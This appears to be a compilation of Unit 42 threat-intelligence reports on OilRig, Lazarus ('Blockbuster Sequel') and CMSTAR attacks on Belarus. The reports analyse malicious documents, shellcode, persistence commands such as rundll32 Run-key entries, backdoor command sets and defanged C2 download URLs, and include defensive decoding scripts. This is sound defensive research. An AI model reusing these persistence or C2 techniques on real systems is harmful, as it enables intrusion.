suggests that this group continues to develop these delivery documents with new installation techniques to evade detection. This threat group also continues to add new payloads to their toolset as well, with ALMA Communicator being the most recent addition. Lastly, it appears that OilRig still prefers using DNS tunneling for its C2 channel of choice, as ALMA Communicator, Helminth and ISMAgent all use this technique for C2 communications. Palo Alto Networks customers are protected by the following: WildFire identifies ClaySlide delivery documents and ALMA Communicator samples as malicious Traps blocks the ALMA Communicator Trojan via Local Analysis and blocks the Clayslide delivery document based on Suspicious macro detected AutoFocus customers can track these tools using the following tags: Clayslide ALMACommunicator Mimikatz Indicators of Compromise f37b1bbf5a07759f10e0298b861b354cee13f325bc76fbddfaacd1ea7505e111 (Clayslide) 2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e (ALMA Communicator) 2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c (Mimikatz) prosalar[.]com The Blockbuster Sequel researchcenter.paloaltonetworks.com /2017/04/unit42-the-blockbuster-sequel/ By Anthony Kasza and Micah Yates 4/7/2017 Unit 42 has identified malware with recent compilation and distribution timestamps that has code, infrastructure, and themes overlapping with threats described previously in the Operation Blockbuster report, written by researchers at Novetta. This report details the activities from a group they named Lazarus, their tools, and the techniques they use to infiltrate computer networks. The Lazarus group is tied to the 2014 attack on Sony Pictures Entertainment and the 2013 DarkSeoul attacks. This recently identified activity is targeting Korean speaking individuals, while the threat actors behind the attack likely speak both Korean and English. This blog will detail the recently discovered samples, their functionality, and their ties to the threat group behind Operation Blockbuster. Initial Discovery and Delivery This investigation began when we identified two malicious Word document files in AutoFocus threat intelligence tool. While we cannot be certain how the documents were sent to the targets, phishing emails are highly likely. One of the malicious files was submitted to VirusTotal on 6 March 2017 with the file name .doc . Once opened, both files display the same Korean language decoy document which appears to be the benign file located online at www.kuipernet.co.kr/sub/kuipernet-setup.docx 1/12 Figure 1 Dropped decoy document This file (Figure 1) appears to be a request form used by the organization. Decoy documents are used by attackers who want to trick victims into thinking a received file is legitimate. At the moment, the malware infects the computer, it opens a non-malicious file that contains content the target expected to receive (Figure 2.) This serves to fool the victim into thinking nothing suspicious has occurred. 2/12 Figure 2 Spear Phishing Attack uses a decoy a file to trick the target When these malicious files are opened by a victim, malicious Visual Basic for Applications (VBA) macros within them write an executable to disk and run it. If macros are disabled in Microsoft Word, the user must click the Enable Content button for malicious VBA script to execute. Both documents make use of logic and variable names within their macros, which are very similar to each other. Specifically, they both contain strings of hex that when reassembled and XOR-decoded reveal a PE file. The PE file is written to disk with a filename that is encoded in the macro using character substitution. Figure 3 shows part of the logic within the macros which is identical in both files. 3/12 Figure 3 Malicious document malicious macro source code The Embedded Payload The executable which is dropped by both malicious documents is packed with UPX. Once unpacked, the payload (032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0) can be statically examined. The compile timestamp of the sample is March 2 nd, 2017, just a few days before one of the documents carrying the implant was submitted to VirusTotal. The payload ensures a copy of itself is located on disk within the %TEMP% directory and creates the following registry entry to maintain persistence if the system is shutdown HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\JavaUpdate , Value:%TEMP%\java.exe /c /s It then executes itself with the following command line: %TEMP%\java.exe /c %TEMP%\java.exe The implant beacons to its command and control (C2) servers directly via the servers IPv4 addresses, which are hard coded in the binary, no domain name is used to locate the servers. The communications between the implant and the server highly resemble the fake TLS protocol associated with malware tools used by the Lazarus group and described in the Operation Blockbuster report. However, the possible values of the Server Name Indication (SNI) record within the CLIENT HELLO of the TLS handshake used by the implant differ from those described in the 4/12 report. The names embedded in the new sample and chosen for communications include: twitter.com www.amazon.com www.apple.com www.bing.com www.facebook.com www.microsoft.com www.yahoo.com www.join.me The C2 servers contacted by the implant mimic the expected TLS server responses from the requested SNI field domain name, including certificate fields such as the issuer and subject. However, the certificates validity, serial number, and fingerprint are different. Figure 4 shows a fake TLS session which includes the SNI record www.join.me destined for an IPv4 address which does not belong to Join.Me. Figure 4 The use of www.join.me as an SNI record of a TLS handshake to an IPv4 address which does not host that domain name Expanding the Analysis Because the attackers reused similar logic and variable names in their macros, we were able to locate additional malicious document samples. Due to the heavy reuse of code in the macros we also speculate the documents are created using an automated process or script. Our analysis of the additional malicious documents showed some common traits across the documents used by the attackers: 1. Many, but not all, of the documents have the same author 2. Malicious documents support the ability to drop a payload as well as an optional decoy document 3. XOR keys used to encode embedded files within the macros seem to be configurable 4. All of the dropped payloads were compressed with a packer (the packer used varied) Multiple testing documents which dropped and executed the Korean version of the Microsoft calc.exe executable, but contained no malicious code, were also identified. This mirrors a common practice in demonstrating exploits of vulnerabilities. Interestingly enough, all of the test documents identified were submitted to VirusTotal with English file names from submitters located in the United States (although not during US working hours ). Despite the documents having Korean code pages, when executed they open decoy documents with the English text: testteststeawetwetwqetqwetqwetqw . These facts lead us to believe at least some of the developers or testers of the document weaponizing tool may be English speakers. While some of the documents identified carry benign payloads, most of the payloads were found to be malicious. A cluster of three malicious documents were identified that drop payloads which are related via C2 domains. The payloads can be seen highlighted in Figure 5. 5/12 Figure 5 Related executables, their C2 domain names, their dropper documents, and the shared batch file The two malicious payloads circled in Figure 5 write a batch script to disk that is used for deleting the sample and itself, which is a common practice. The batch script dropped by the two payloads share a file name, file path, and hash value with a script sample (77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976). This sample is described in a 2016 research report by Blue Coat discussing connections between the DarkSeoul group and the Sony breach of 2014. The script s (Figure 6) hash value will vary depending on the name of the file it is to delete. It also includes an uncommon label inside it of L21024 . The file the script deletes is the payload which writes the script to disk. In the case of Figure 6, the payload was named thing.exe Figure 6 The contents of the shared batch script Ties to Previous Attacks In addition to the commonalities already identified in the communication protocols and the shared cleanup batch script use by implants, the payloads also share code similarities with samples detailed in Operation Blockbuster. This is demonstrated by analyzing the following three samples, which behave in similar ways: 6/12 032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0 79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 We used these three samples to reach the conclusion that the samples investigated are tied to the Lazarus group. First, these three samples all use a unique method of executing a shell command on the system. An assembly function is passed four strings. Some of the strings contain placeholders. The function interpolates the strings and creates a system command to be executed. The following four parameters are passed to the function: xe / c%s.e%sc \ %s > %s 2>&1\ These are used not only in the implant we investigated, but also in the two samples above. Additionally, many samples discussed in the Operation Blockbuster report also made use of this technique. Figure 7 shows the assembly from the unpacked implant (032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0) delivered by our malicious document and shows the string interpolation function being used. 7/12 Figure 7 The string interpolation function assembly with library names from 032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0 Figure 8 shows the same string interpolation logic but within a different sample (79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18.) The instructions are the same except where the system calls are replaced with DWORDs which brings us to a second similarity. Figure 8 The string interpolation function assembly without library names from 79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18 The second similarity ties this sample to a known Lazarus group sample (520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18.) Upon execution, both samples set aside memory to be used as function pointers. These pointers are assigned values by a dedicated function in the binary. Other functions in the binary call the function pointers instead of the system libraries directly. The motivation for the use of this indirection is unclear, however, it provides an identifying detection mechanism. These two samples resolve system library functions in a similar yet slightly different manner. The sample known to belong to the Lazarus group uses this indirect library calling in addition to a function that further obfuscates the function s names using a lookup table within a character substitution function. This character substitution aspect was removed in the newer samples. The purpose for removing this functionality between the original Operation Blockbuster report samples and these newer ones is unclear. Figure 9 displays how this character substitution function was called within the Lazarus group sample. 8/12 Figure 9 The character substitution function from 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 being called SHA256 Hash String Interpolation Function System Library Obfuscation Fake TLS Label Communications 032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0 Initially identified payload 79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18 Sample identified to be related to initial payload Operation Blockbuster sample 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 Known Operation Blockbuster sample Figure 10: A comparison of features between samples Final Thought Overlaps in network protocols, library name obfuscation, process creation string interpolation, and dropped batch file contents demonstrate a clear connection between the recent activity Unit 42 has identified and previously reported threat campaigns. Demonstrated by the malicious document contents, the targets of this new activity are likely Korean speakers, while the attackers are likely English and Korean speakers. It is unlikely these threat actors will stop attacking their targets. Given the slight changes that have occurred within samples between reports, it is likely this group will continue to develop their tools and skillsets. 9/12 Customers using WildFire are protected from these threats and customers using AutoFocus can find samples from this campaign tagged as Blockbuster Sequel. Indicators of Compromise Initial Malicious Documents cec26d8629c5f223a120677a5c7fbd8d477f9a1b963f19d3f1195a7f94bc194b ff58189452668d8c2829a0e9ba8a98a34482c4f2c5c363dc0671700ba58b7bee Initial Payload 1322b5642e19586383e663613188b0cead91f30a0ab1004bf06f10d8b15daf65 032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0 (unpacked) Testing Malicious Documents 90e74b5d762fa00fff851d2f3fad8dc3266bfca81d307eeb749cce66a7dcf3e1 09fc4219169ce7aac5e408c7f5c7bfde10df6e48868d7b470dc7ce41ee360723 d1e4d51024b0e25cfac56b1268e1de2f98f86225bbad913345806ff089508080 040d20357cbb9e950a3dd0b0e5c3260b96b7d3a9dfe15ad3331c98835caa8c63 dfc420190ef535cbabf63436e905954d6d3a9ddb65e57665ae8e99fa3e767316 f21290968b51b11516e7a86e301148e3b4af7bc2a8b3afe36bc5021086d1fab2 1491896d42eb975400958b2c575522d2d73ffa3eb8bdd3eb5af1c666a66aeb08 31e8a920822ee2a273eb91ec59f5e93ac024d3d7ee794fa6e0e68137734e0443 49ecead98ebc750cf0e1c48fccf5c4b07fadef653be034cdcdcd7ba654f713af 5c10b34e99b0f0681f79eaba39e3fe60e1a03ec43faf14b28850be80830722cb 600ddacdf16559135f6e581d41b30d0867aae313fbaf66eb4d18345b2136cdd7 6ccb8a10e253cddd8d4c4b85d19bbb288b56b8174a3f1f2fe1f9151732e1a7da 8b2c44c4b4dc3d7cf1b71bd6fcc37898dcd9573fcf3cb8159add6cb9cfc9651b 9e71d0fdb9874049f310a6ab118ba2559fc1c491ed93c3fd6f250c780e61b6ff Additional Related Samples 02d74124957b6de4b087a7d12efa01c43558bf6bdaccef9926a022bcffcdcfea 0c5cdbf6f043780dc5fff4b7a977a1874457cc125b4d1da70808bfa720022477 18579d1cc9810ca0b5230e8671a16f9e65b9c9cdd268db6c3535940c30b12f9e 19b23f169606bd390581afe1b27c2c8659d736cbfa4c3e58ed83a287049522f6 1efffd64f2215e2b574b9f8892bbb3ab6e0f98cf0684e479f1a67f0f521ec0fe 440dd79e8e5906f0a73b80bf0dc58f186cb289b4edb9e5bc4922d4e197bce10c 446ce29f6df3ac2692773e0a9b2a973d0013e059543c858554ac8200ba1d09cf 557c63737bf6752eba32bd688eb046c174e53140950e0d91ea609e7f42c80062 5c10b34e99b0f0681f79eaba39e3fe60e1a03ec43faf14b28850be80830722cb 10/12 644c01322628adf8574d69afe25c4eb2cdc0bfa400e689645c2ab80becbacc33 6a34f4ce012e52f5f94c1a163111df8b1c5b96c8dc0836ba600c2da84059c6ad 77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976 79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18 8085dae410e54bc0e9f962edc92fa8245a8a65d27b0d06292739458ce59c6ba1 8b21e36aa81ace60c797ac8299c8a80f366cb0f3c703465a2b9a6dbf3e65861e 9c6a23e6662659b3dee96234e51f711dd493aaba93ce132111c56164ad02cf5e d843f31a1fb62ee49939940bf5a998472a9f92b23336affa7bccfa836fe299f5 dcea917093643bc536191ff70013cb27a0519c07952fbf626b4cc5f3feee2212 dd8c3824c8ffdbf1e16da8cee43da01d43f91ee3cc90a38f50a6cc8d6a778b57 efa2a0bbb69e60337b783db326b62c820b81325d39fb4761c9b575668411e12c f365a042fbf57ed2fe3fd75b588c46ae358c14441905df1446e67d348bd902bf f618245e69695f6e985168f5e307fd6dc7e848832bf01c529818cbcfa4089e4a fa45603334dae86cc72e356df9aa5e21151bb09ffabf86b8dbf5bf42bd2bbadf fc19a42c423aefb5fdb19b50db52f84e1cbd20af6530e7c7b39435c4c7248cc7 ff4581d0c73bd526efdd6384bc1fb44b856120bc6bbf0098a1fa0de3efff900d C2 Domains daedong.or[.]kr kcnp.or[.]kr kosic.or[.]kr wstore[.]lt xkclub[.]hk C2 IPv4 Addresses 103.224.82[.]154 180.67.205[.]101 182.70.113[.]138 193.189.144[.]145 199.26.11[.]17 209.105.242[.]64 211.233.13[.]11 211.233.13[.]62 211.236.42[.]52 211.49.171[.]243 218.103.37[.]22 221.138.17[.]152 221.161.82[.]208 11/12 23.115.75[.]188 61.100.180[.]9 61.78.63[.]95 80.153.49[.]82 12/12 Threat Actors Target Government of Belarus Using CMSTAR Trojan researchcenter.paloaltonetworks.com /2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ By Josh Grunzweig and Robert Falcone 9/28/2017 Palo Alto Networks Unit 42 has identified a series of phishing emails containing updated versions of the previously discussed CMSTAR malware family targeting various government entities in the country of Belarus. We first reported on CMSTAR in spear phishing attacks in spring of 2015 and later in 2016. In this latest campaign, we observed a total of 20 unique emails between June and August of this year that included two new variants of the CMSTAR Downloader. We also discovered two previously unknown payloads. These payloads contained backdoors that we have named BYEBY and PYLOT respectively. Figure 1 Diagram of the attack sequence Phishing Emails Between June and August of this year, we observed a total of 20 unique emails being sent to the following email addresses: Email Address Description press@mod.mil[.]by Press Service of the Ministry of Defense of the Republic of Belarus baranovichi_eu@mod.mil[.]by Baranovichi Operational Management of the Armed Forces modmail@mod.mil[.]by Ministry of Defense of the Republic of Belarus admin@mod.mil[.]by Ministry of Defense of the Republic of Belarus itsc@mod.mil[.]by Unknown. Likely used by Ministry of Defense of the Republic of Belarus mineuvs@mod.mil[.]by Minsk Operational Administration of the Armed Forces inform@mod.mil[.]by Unknown. Likely used by Ministry of Defense of the Republic of Belarus uporov_milcoop@mod.mil[.]by Unknown. Likely used by Ministry of Defense of the Republic of Belarus video@gpk.gov[.]by State Border Committee of the Republic of Belarus armscontrol@mfa.gov[.]by International Security and Arms Control Department, Ministry of Foreign Affairs ablameiko@mia[.]by Unknown. Likely used by the Ministry of Internal Affairs of the Republic of Belarus These emails contained a series of subject lines, primarily revolving around the topic of -2017 ( West-2017 ), also known in English as Zapad 2017. Zapad 2017 was a series of joint military exercises conducted by the Armed Forces of the Russian Federation and the Republic of Belarus, held from September 14th to 20th in 2017. The full list of subject lines is as follows: Fwd: -2017 [Translation: Fwd:Preparing for the West-2017] [Translation: graduation] -2017 [Translation: To West-2017] -2017 [Translation: West-2017] An example of some of the previously mentioned emails may be seen below. 1/12 Figure 2 Phishing email sent to Belarus government (1/2) Figure 3 Phishing email sent to Belarus government (2/2) Decoy Documents We observed that the attachments used in these emails contained a mixture of file types. RTF documents, Microsoft Word documents, and a RAR archive. The RAR archive contained a series of images, a decoy document, and a Microsoft Windows executable within it. The executable has a .scr file extension, and is designed to look like a Windows folder, as seen below: Figure 4 Payload disguising itself as a Microsoft Windows folder 2/12 The rough translation of the folder and file names above are Preparations for large-scale West-2017 exercises in this format are being held for the first time. Within the actual folder, there are a series of JPG images, as well as a decoy document with a title that is translated to Thousands of Russian and Belarusian military are involved in the training of the rear services. Figure 5 Embedded images and decoy document within RAR The decoy document contains the following content: Figure 6 Decoy document within RAR The other RTF and Word documents used additional decoy documents, which can be seen below. 3/12 Figure 7 Decoy document with translation (1/2) Figure 8 Decoy document with translation (2/2) While we observed different techniques being used for delivery, all attachments executed a variant of the CMSTAR malware family. We observed minor changes between variants, which we discuss in the CMSTAR Variations and Payloads section of the blog post. The Word documents, which we track as Werow, employ malicious macros for their delivery. More information about these macros may be found in the Appendix of the blog post. Additionally, we have included a script that extracts these embedded payloads that can also be found in the Appendix. The RTF documents made use of CVE-2015-1641. This vulnerability, patched in 2015, allows attackers to execute malicious code when these specially crafted documents are opened within vulnerable instances of Microsoft Word. The payload for these samples is embedded within them and obfuscated using a 4-byte XOR key of 0xCAFEBABE. We have included a script that can be used to extract the underlying payload of these RTFs statically that can be found in the Appendix. The SCR file mentioned previously drops a CMSTAR DLL and runs it via an external call to rundll32.exe. CMSTAR Variations and Payloads In total, we observed three variations of CMSTAR in these recent attacks against Belarusian targets. The biggest change observed between them looks to be minor modifications made to the string obfuscation routine. A very simple modification to the digit used in subtraction was modified between the variants, as shown below: 4/12 Figure 9 String obfuscation modifications between CMSTAR variants The older variation, named CMSTAR.A, was discussed in a previous blog post entitled, Digital Quartermaster Scenario Demonstrated in Attacks Against the Mongolian Government . The CMSTAR.B variant was witnessed using both a different mutex from CMSTAR.A, as well as a slightly modified string obfuscation routine. The mutexes used by CMSTAR ensure that only one instance of the malware runs at a time. The CMSTAR.C variant used the same mutex as CMSTAR.B, however, again used another slightly modified string obfuscation routine. We found all CMSTAR variants using the same obfuscation routine when I payload was downloaded from a remote server. We have included a tool to extract mutex and C2 information from all three CMSTAR variants, as well as a tool to decode the downloaded payload: both may be found in the Scripts section. An example of CMSTAR downloading its payload may be found below: Figure 10 Example HTTP download by CMSTAR When expanding the research to identify additional CMSTAR.B and CMSTAR.C variants, we identified a total of 31 samples. Of these 31 samples, we found two unique payloads served from three of the C2 URLS One of which was downloaded from a sample found in the phishing attacks previously described. Both payloads contained previously unknown malware families. We have named the payload found in the email campaign PYLOT, and the malware downloaded from the additional CMSTAR samples BYEBY. Both malware families acted as backdoors, allowing the attackers to execute commands on the victim machine, as well as a series of other functions. More information about these individual malware families may be found in the appendix. Conclusion During the course of this research, we identified a phishing campaign consisting of 20 unique emails targeting the government of Belarus. The ploys used in these email and decoy documents revolved around a joint strategic military exercise of the Armed Forces of the Russian Federation and the Republic of Belarus, which took place between September 14th and September 20th of this year. While looking at the emails in question, we observed two new variants of the CMSTAR malware family. Between the samples identified and others we found while expanding our research scope, we identified two previously unknown malware families. Palo Alto customers are protected from this threat in the following ways: Tags have been created in AutoFocus to track CMSTAR, BYEBY, and PYLOT All observed samples are identified as malicious in WildFire Domains observed to act as C2s have been flagged as malicious Traps 4.1 identifies and blocks the CVE-2015-1641 exploit used in these documents Traps 4.1 blocks the macros used in the malicious Word documents A special thanks to Tom Lancaster for his assistance on this research. Appendix Werow Macro Analysis The attacker used the same macro dropper all of the observed Microsoft Word documents we analyzed for this campaign. It begins by building the following path strings: %APPDATA%\d.doc %APPDATA%\Microsoft\Office\WinCred.acl The d.doc path will be used to store a copy of the Word document, while the WinCred.acl will contain the dropped payload, which is expected to be a DLL. 5/12 Figure 11 Macro used to drop CMSTAR Werow uses rudimentary obfuscation to hide and re-assemble the following strings: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinCred rundll32 %APPDATA%\Microsof\Office\WinCred.acl ,WinCred These strings will be used at the end of the macro s execution to ensure persistence via the Run registry key. The malware proceeds to read an included overlay within the original Word document from a given offset. This data is decoded using and XOR operation, as well as an addition operation. It can be represented in Python as follows: 6/12 def decrypt_xor(data, key, key_offset): output = "" seed = ord(key) for d in data: ord_d = ord(d) if ord_d != 0 and ord_d != seed: nvalue = ord_d ^ seed seed = (seed + key_offset) % 0x100 output += chr(nvalue) else: output += d return output Once this overlay is decoded, it is written to the WinCred.acl file and loaded with the WinCred export. A script has been provided in the Scripts section that, in conjunction with oletools, can statically extract the embedded DLL payload from these documents. RTF Shellcode Analysis The RTF documents delivered in this attack campaign appear to be created by the same builder. All of the RTF files attempt to exploit CVE-2015-1641 to execute shellcode on the targeted system. Please reference https://technet.microsoft.com/en-us/library/security/ms15-033.aspx for more information. The shellcode executed after successful exploitation begins by resolving the API functions it requires by enumerating the API functions within loaded modules in the current process. It then builds the following list of values: The shellcode then enumerates the API functions, subjects them to a ROR7 hashing routine and XORs the resulting hash with 0x10ADBEEF. It uses the result of this arithmetic to compare with the list of values above to find the API functions it requires to carry out its functionality. ROR7 ROR7^0x10ADBEEF API Func 1a22f51 110f91be WinExec 741f8dc4 64b2332b WriteFile 94e43293 84498c7c CreateFileA daa7fe52 ca0a40bd UnmapViewOfFile dbacbe43 cb0100ac SetFilePointer ec496a9e fce4d471 GetEnvironmentVariableA ff0d6657 efa0d8b8 CloseHandle After resolving the API functions, the shellcode then begins searching for the embedded payload and decoy within the initial RTF file. It does so by searching the RTF file for three delimiters, specifically 0xBABABABABABA, 0xBBBBBBBB and 0xBCBCBCBC, which the shellcode uses to find the encrypted payload and decoy. The shellcode then decrypts the payload by XOR ing four bytes at at time with the key 0xCAFEBABE, and decrypts the decoy by XOR ing four bytes at a time using the key 0xBAADF00D. Here is a visual representation of the delimiters and embedded files: After decrypting the payload, it saves the file to the following location: %APPDATA%\Microsoft\Office\OutL12.pip The shellcode then creates the following registry key to automatically run the payload each time the system starts: Software\Microsoft\Windows\CurrentVersion\Run : Microsoft The shellcode saves the following command to this autorun key, which will execute the OutL12.pip payload, specifically calling its WinCred exported function: rundll32.exe %APPDATA\Roaming\Microsoft\Office\OutL12.pip ,WinCred The shellcode will then overwrite the original delivery document with the decrypted decoy contents and open the new document. PYLOT Analysis 7/12 This malware family was named via a combination of the DLLs original name of pilot.dll , along with the fact it downloads files with a Python (.py) file extension. PYLOT begins by being loaded as a DLL with the ServiceMain export. It proceeds to create the following two folders within the %TEMP% path: KB287640 KB887209 PYLOT continues to load and decode an embedded resource file. This file contains configuration information that is used by the malware throughout its execution. The following script, written in Python, may be used to decode this embedded resource object: import sys import hexdump file = sys.argv[1] fh = open(file, 'rb') fdata = list(fh.read()) fh.close() fdata_len = len(fdata) c = fdata_len-1 output = "" while c > 1: fdata[c] = chr( ord(fdata[c]) ^ ord(fdata[c-2]) ) c -= 1 fdata = ''.join(fdata) hexdump.hexdump(fdata) Looking at the decoded data, we see the following: Figure 12 Decoded embedded configuration information The malware continues to collect the following information from the victim computer: Computer name 8/12 IP addresses present on the machine MAC addresses Microsoft Windows version information Windows code page identifier information This information is used to generate a unique hash for the victim machine. PYLOT then begins entering its C2 handler routine, where it will use HTTP for communication with the remote host. Data sent to the remote C2 server is encrypted using RC4 with the previously shown key of BBidRotnqQpHfpRTi8cR. It is then further obfuscated by base64-encoding this encrypted string. An example of this HTTP request containing this data can be seen below. Figure 13 HTTP request made by PYLOT to remote server The decrypted data sent in the request above is as follows. Note that all of this custom data format has not been fully identified, however, we re able to see various strings, including the embedded configuration string of fGAka0001 , as well as the victim hash of 100048048. Figure 14 Decrypted data sent by PYLOT to remote server The base64-encoded string at the end of the data contains the collected victim machine information from earlier, separated by a delimiter. The remote C2 server responds using the same data format. An example response can be seen below. Figure 15 Response from remote C2 server The decoded data at the end of the response contains various URIs to be used by the malware to receive commands, as well as other information that has yet to be fully researched. /duakzu/furs.py|/ugvrf/pvoi.py|/tydfw/pld.py|/bpnij/syau.py|/plugin/plugin.py|eycHhHKVQUnuAwtNchvYjScGYMtVMzMqYmxBmCEwieQpKgsokpvrxknPQRvnkOHDywCImVZxHxRdvlePjgnbPXs 9/12 A number of commands have been identified within PYLOT, including the following: Download batch script Run batch script Delete file Rename file Execute file Download file Upload file BYEBY Analysis BYEBY was named based on a string within the malware itself. Most strings found within this malware are concatenated to 6 characters. One such example was an instance where a debug string contained BYE BY , which was likely a concatenated form of the phrase BYE BYE This malware is loaded as a DLL, with an export name of ServiceMain. When the malware is initially loaded, it begins by checking to see if it is running within either of the following paths: [SYSTEM32]\svchost.exe [SYSTEM32]\rundll32.exe If it finds itself not running in either location, it will immediately exit. This is likely a technique used to bypass various sandboxing systems. Should it find itself running as svchost.exe, it will write the current timestamp and a value of V09SS010 (Base64 Decoded: WORKMN ) to a file named vmunisvc.cab within the user s local %TEMP% folder. This file acts as a lot file and is written to frequently throughout the malware s execution. When the malware runs within the context of svchost.exe, it bypasses the installation routines and immediately enters the C2 handler. When BYEBY is run within the context of rundll32.exe, it expects itself to be running for the first time. As such, it will register itself as a service with a name of VideoSrv. After this service is created, BYEBY proceeds to enter it s C2 handler function in a new thread. BYEBY uses TLS for network communication, connecting to the following host on port 443: oeiowidfla22[.]com After the initial connection is established, BYEBY will collect the following system information and upload it to the remote C2: Hostname IP Address Embedded String of WinVideo Major Windows Version Minor Windows Version Embedded String of 6.1.7603.16000 The malware is configured to accept a number of commands. These appear to be Base64-encoded strings that, when decoded, provide their true meaning. Only the beginning of the commands are checked. The Base64-decoded strings have been included for the benefit of the reader. aGVsbG8h [Decoded: hello!] R09PREJZ [Decoded: GOODBY] TElTVCBE [Decoded: LIST D] U1RBUlRD [Decoded: STARTC] Q09NTUFO [Decoded: COMMAN] VFJBTlNG [Decoded: TRANSF] RVhFQ1VU [Decoded: EXECUT] A mapping of commands and their descriptions has been provided: Command Description aGVsbG8h Authenticate with the remote C2 server. R09PREJZ Close socket connection with remote server. TElTVCBE List drives on the victim machine. U1RBUlRD Start an interactive shell on the victim machine. Q09NTUFO Execute a command in the interactive shell VFJBTlNG Upload or download files to the victim machine. RVhFQ1VU Execute command in a new process. Scripts We created multiple scripts during the course of our research. We are sharing them here to assist other researchers or defenders that encounter this malware. extract_cmstar_doc.py Script to extract the embedded CMSTAR payload from Word documents. extract_cmstar_rtf.py Script to extract the embedded CMSTAR payload from RTFs. extract_cmstar_strings.py Script to identify possible mutex and C2 strings from CMSTAR variants. decode_cmstar_payload.py Script to decode a payload downloaded by CMSTAR. Indicators of Compromise 10/12 CMSTAR Variants Identified in Phishing Campaign 65d5ef9aa617e7060779bc217a42372e99d59dc88f8ea2f3b9f45aacf3ba7209 2a0169c72c84e6d3fa49af701fd46ee7aaf1d1d9e107798d93a6ca8df5d25957 4da6ce5921b0dfff9045ada7e775c1755e6ea44eab55da7ccc362f2a70ce26a6 2008ec82cec0b62bdb4d2cea64ff5a159a4327a058dfd867f877536389a72fb6 cecd72851c265f885ff02c60cbc3e6cbf1a40b298274761f623dfa44782a01f8 d8c0f8ecdeceba83396c98370f8f458ea7f7a935aabbcc3d41b80d4e85746357 2c8267192b196bf8a92c8b72d52096e46e307fa4d4dafdc030d3e0f5b4145e9e 2debf12b1cb1291cbd096b24897856948734fa62fd61a1f24d379b4224bda212 79b30634075896084135b9891c42fca8a59db1c0c731e445940671efab9a0b61 b0065fc16ae785834908f024fb3ddd4d9d62b29675859a8e737e3b949e85327a 16697c95db5add6c1c23b2591b9d8eec5ed96074d057b9411f0b57a54af298d5 6843d183b41b6b22976fc8d85e448dcc4d2e0bd2c159e6d966bfd4afa1cd9221 3c3efa89d1dd39e1112558af38ba656e048be842a3bedb7933cdd4210025f791 b2bebb381bc3722304ab1a21a21e082583bf6b88b84e7f65c4fdda48971c20a2 09890dc8898b99647cdc1cceb97e764b6a88d55b5a520c8d0ea3bfd8f75ed83b fd22973451b88a4d10d9f485baef7f5e7a6f2cb9ce0826953571bd8f5d866c2a CMSTAR Download Locations in Phishing Campaign http://45.77.60[.]138/YXza9HkKWzqtXlt.dat http://45.77.60[.]138/mePVDjnAZsYCw5j.dat http://45.77.60[.]138/UScHrzGWbXb01gv.dat http://45.76.80[.]32/tYD7jzfVNZqMfye.dat http://45.77.60[.]138/liW0ecpxEWCfIgU.dat http://45.77.60[.]138/ezD19AweVIj5NaH.dat http://45.77.60[.]138/jVJlw3wp379neaJ.dat http://108.61.175[.]110/tlhXVFeBvT64LC9.dat http://45.77.60[.]138/HJDBvnJ7wc4S5qZ.dat http://45.77.60[.]138/JUmoT4Pbw6U2xcj.dat http://108.61.175[.]110/oiUfxZfej29MAbF.dat http://45.77.60[.]138/cw1PlY308OpfVeZ.dat http://45.77.60[.]138/VFdSKlgCAZD7mmp.dat http://45.77.60[.]138/c2KoCT5OHcVwGi7.dat http://45.77.60[.]138/3kK24dXFYRgM6Ac.dat http://45.77.60[.]138/WsEeRyHEhLO1kUm.dat PYLOT SHA256 7e2c9e4acd05bc8ca45263b196e80e919ff60890a872bdc0576735a566369c46 PYLOT C2 wait.waisttoomuchmind[.]com BYEBY SHA256 383a2d8f421ad2f243cbc142e9715c78f867a114b037626c2097cb3e070f67d6 BYEBY C2 oeiowidfla22[.]com CMSTAR.B SHA256 8609360b43498e296e14237d318c96c58dce3e91b7a1c608cd146496703a7fac f0f2215457200bb3003eecb277bf7e3888d16edcf132d88203b27966407c7dc3 aecf53a3a52662b441703e56555d06c9d3c61bddf4d3b23d9da02abbe390c609 960a17797738dc0bc5623c74b6f8a5d74375f6d18d20ba18775f26a43898bae6 e37c045418259ecdc07874b85e7b688ba53f5a7dc989db19d7e8c440300bd574 75ea6e8dfaf56fb35f35cb043bd77aef9e2c7d46f3e2a0454dff0952a09c134f a65e01412610e5ed8fde12cb78e6265a18ef78d2fd3c8c14ed8a3d1cef17c91d 7170b104367530ae837daed466035a8be719fdb17423fc01da9c0ded74ca6ad1 11/12 13acddf9b7c2daafd815cbfa75fbb778a7074a6f90277e858040275ae61a252b 625ed818a25c63d8b2c264d0f5bd96ba5ad1c702702d8ffaa4e0e93e5f411fac a56cd758608034c90e81e4d4f1fe383982247d6aeffd74a1dd98d84e9b56afdf a4b969b93f7882ed2d15fd10970c4720961e42f3ae3fced501c0a1ffa3896ff5 e833bbb79ca8ea1dbeb408520b97fb5a1b691d5a5f9c4f9deabecb3787b47f73 